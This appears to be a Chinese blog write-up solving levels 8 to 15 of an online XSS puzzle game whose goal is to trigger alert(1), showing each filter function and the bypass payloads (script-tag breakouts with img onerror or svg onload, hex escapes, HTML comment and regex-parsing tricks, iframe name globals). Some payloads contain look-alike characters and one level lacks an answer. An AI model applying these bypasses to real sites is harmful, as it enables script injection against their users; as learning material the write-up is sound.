上次讲了challenge 0-7,我的应该比别人的会详细一点吧,其实这需要有一定的xss的实践(自己搭环境搞个没过滤的就可以了),要熟悉js
废话不多说,直接上挑战,注:要alert(1)才能通关
challenge 8
function escape(s) {
// Courtesy of Skandiabanken
return '<script>console.log("' + s.toUpperCase() + '")</script>';
}
这里是将我们输入的转化为大写了还有的话,html对大小写不敏感,就是大小写的意思是一样的
闭合好就行啦,不足的就是有点长
payload:</script><img src="1.jpg" οnerrοr=alert(1)><script>
还有其他payload和改造
</script><img src="1.jpg" οnerrοr=alert(1)//
</script><svg οnlοad=alert(1)//
十六进制的
</script><svg οnlοad=alert(1)//
当然还可以在自己的服务器上放个js文件,文件内容:alert(1);
如果你有短域名,使用的字符长度就会更短了,短链接应该也不够短
challenge 9
function escape(s) {
// This is sort of a spoiler for the last level :-)
if (/[\\<>]/.test(s)) return '-';
return '<script>console.log("' + s.toUpperCase() + '")</script>';
}
这里经过实践,一旦匹配到 \ ,<,和>就会直接返回‘-’challenge 10
function escape(s) {
function htmlEscape(s) {
return s.replace(/./g, function(x) {
return { '<': '<', '>': '>', '&': '&', '"': '"', "'": ''' }[x] || x;
});
}
function expandTemplate(template, args) {
return template.replace(
/{(\w+)}/g,
function(_, n) {
return htmlEscape(args[n]);
});
}
return expandTemplate(
" \n\
<h2>Hello, <span id=name></span>!</h2> \n\
<script> \n\
var v = document.getElementById('name'); \n\
v.innerHTML = '<a href=#>{name}</a>'; \n\
<\/script> \n\
",
{ name : s }
);
}
首先我们看最后一个return,调用expandTemplate函数对一串html元素处理,而expandTemplate里面又调用了htmlEscapeexpandTemplate函数好像没什么用,知道的大神麻烦告诉我
htmlEscape对单双引号,&和<,>都转化为html实体字符了,但没过滤\转义符
,那么我们使用十六进制看看
payload: \x3cimg src=123 οnerrοr=alert(1)//\x3c为小于号的十六进制
可以看到js在处理字符串时会将16进制转化为字符
其他payload,\x3e为大于号十六进制
\x3cimg src=123 οnerrοr=alert(1)\x3e
\x3csvg οnlοad=alert(1)// svg这个是html5的画布元素吧
challenge 11
function escape(s) {
// Spoiler for level 2
s = JSON.stringify(s).replace(/<\/script/gi, '');
return '<script>console.log(' + s + ');</script>';
}
stringify可转义",后面的replace是替换</script为空字符,g是全局模式,就是从头搜索到尾,无论有多少,i就忽略大小写
challenge 12
function escape(s) {
// Pass inn "callback#userdata"
var thing = s.split(/#/);
if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
var obj = {'userdata': thing[1] };
var json = JSON.stringify(obj).replace(/\//g, '\\/');
return "<script>" + thing[0] + "(" + json +")</script>";
}
var thing = s.split(/#/)
以#分隔两部分输入if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
#号 左边的只能输入大小写字母和左右中括号
var json = JSON.stringify(obj).replace(/\//g, '\\/');
会转义",后面的replace替换/为\\/,其实就是替换为\/
原来html的注释也可以的,那就简单了
单引号闭合前面,后面注释
payload: '#';alert(1);<!--
challenge 13
function escape(s) {
var tag = document.createElement('iframe');
// For this one, you get to run any code you want, but in a "sandboxed" iframe.
//
// http://print.alf.nu/?html=... just outputs whatever you pass in.
//
// Alerting from print.alf.nu won't count; try to trigger the one below.
s = '<script>' + s + '<\/script>';
tag.src = 'http://print.alf.nu/?html=' + encodeURIComponent(s);
window.WINNING = function() { youWon = true; };
tag.onload = function() {
if (youWon) alert(1);
};
document.body.appendChild(tag);
}
encodeURIComponent() 函数其实就是url编码吧
我们注意一下iframe,当在iframe中设置了一个name属性之后, 这个name属性的值就会变成iframe中的window对象的全局。
比如下面的abc
搞个通俗点的
还有个细节,就是那个网址,直接返回js,设置iframe的name属性
那么payload:name='youWon'
challenge 14
function escape(s) {
function json(s) { return JSON.stringify(s).replace(/\//g, '\\/'); }
function html(s) { return s.replace(/[<>"&]/g, function(s) {
return '&#' + s.charCodeAt(0) + ';'; }); }
return (
'<script>' +
'var url = ' + json(s) + '; // We\'ll use this later ' +
'</script>\n\n' +
' <!-- for debugging -->\n' +
' URL: ' + html(s) + '\n\n' +
'<!-- then suddenly -->\n' +
'<script>\n' +
' if (!/^http:.*/.test(url)) console.log("Bad url: " + url);\n' +
' else new Image().src = url;\n' +
'</script>'
);
}
首先我们看返回函数,返回了两个script,第一个<script>用json(s)函数构造一个url,跟着中间用html()输出URL
第二个script如果成功绕过就新建一个我们url的图像
json函数过滤双引号和注释符
html函数过滤了<>"&
先看看什么效果
由于比较复杂,直接用别人的payload进行解释了
alert(1);/*<!--<script>*/if(/a//*
将右边的复制到我们本地测试
我们可以看到,我们输入的最后一个/*将下面的很多都注释掉了,把绿色的代码去掉,简化一下代码就是
var url = "alert(1);\/*<!--<script>*\/if(\/a\/\/* ";
URL: alert(1);if(/a/.test(url)) console.log("Bad url: " + url);
else new Image().src = url;
再简化一下
再简化一下
challenge 15
function escape(s) {
return s.split('#').map(function(v) {
// Only 20% of slashes are end tags; save 1.2% of total
// bytes by only escaping those.
var json = JSON.stringify(v).replace(/<\//g, '<\\/');
return '<script>console.log('+json+')</script>';
}).join('');
}
payload:<!--<script>#)/;alert(1)//-->
最后生成代码:<script>console.log("<!--<script>")</script><script>console.log(")/;alert(1)//--> ")</script>,复制到本地
直接将中间的敲在控制台上
console.log("<!--<script>")</script><script>console.log(")/;alert(1)//--> ")
简化一下就是;console.log("<!--<script>") < /script><script>console.log(")/; alert(1)
console 小于号 /正则表达式/ ; alert(1)
所以语法上是正确的
其实就是两条语句
好了欢迎大家与我交流